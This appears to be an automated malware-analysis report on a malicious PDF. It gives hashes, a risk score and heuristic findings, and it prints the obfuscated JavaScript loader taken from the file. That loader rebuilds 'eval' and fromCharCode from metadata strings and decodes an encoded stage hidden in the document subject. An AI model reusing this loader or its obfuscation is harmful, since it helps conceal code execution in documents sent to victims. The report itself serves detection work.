Malicious PDF — malware analysis report

Static analysis result for SHA-256 a4cc952cb604ecbd…

MALICIOUS

PDF

44.6 KB Authoring application: substr First seen: 2026-05-09
MD5: e40aa22604c9ced92c69c12d509ad282 SHA-1: 5431723988b1380acf7f5cf97f63d6026d605926 SHA-256: a4cc952cb604ecbda6f2e3f5d71fb15711e6a70ed020eeef21fc069235453f98
86 Risk Score

Malware Insights

The PDF file contains embedded JavaScript, indicated by heuristic firings for PDF_JAVASCRIPT and PDF_JS. The ML classifier strongly flags this PDF as malicious. The embedded JavaScript is likely intended to execute malicious code, although its specific function cannot be determined without further analysis of the script content. The document body 'substr split test' provides no contextual clues.

Machine Learning

  • Nyx PDF Classifier malicious score 1.0000

Heuristics 3

  • Obfuscated Pidief-style JavaScript loader (stage not decoded) high CVE related PDF_PIDIEF_OBFUSCATED_VERSION_GATED_LOADER
    PDF JavaScript carries a large opaque encoded stage (a letter-delimited numeric character-code array) that is built to be decoded and eval'd, but no exact Adobe Reader CVE could be attributed because the encoding scheme resisted full static decoding. This is the structural fingerprint of the Pidief / multi-CVE exploit-kit loader family — a version-gated obfuscated JavaScript stage with no benign use. Flagged suspicious on its own; an ML/AV signal or a recovered heap-spray pushes it to malicious.
  • JavaScript action low 1 related finding PDF_JAVASCRIPT
    PDF contains a /JavaScript action. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • Embedded JS stream low PDF_JS
    PDF references a /JS stream. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
javascript_obj0001_000.js pdf-javascript-stream PDF /JS object 1 at offset 0xAF99 445 bytes
SHA-256: 2c60fbf4c60f2f1ce2c2878a62a3b4c84c05c2195cd20664833add3e1dcd4f29
Preview script
First 1,000 lines of the extracted script
s2='';
v=producer;
t='le';
b='v';
a="e".concat("a","n","b","w",b,"o");
s=a[0].concat(b,a[1],t[0]);
e=v[v]()[s];
ksqc=e('ti'.concat(v[4],t));
q=ksqc[v](a.length-6,a.length+2);
xjva=e(v[0].toUpperCase().concat(v[4],'ring.f',q[4],a[6],q));
q=ksqc[v](t.length+12)[e(v[0]+'ubjec'+v[4])]('c');
k=q['len'.concat('gth')];
i=0;
while(i!=k){
	nmku = 1*(q[i]);
	i++;
	nmku -= (-1)*(q[i]);
	s2 = s2.concat(xjva(nmku));
	i++;
}
e(s2);

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